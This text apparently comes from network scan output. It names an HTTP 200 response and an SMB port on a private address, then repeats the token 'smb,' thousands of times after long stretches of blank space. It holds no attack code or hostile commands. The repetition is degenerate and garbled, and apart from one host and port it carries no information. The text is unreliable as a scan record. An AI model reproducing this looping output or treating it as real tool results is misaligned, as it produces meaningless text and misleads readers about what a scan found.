                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.12:445
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, 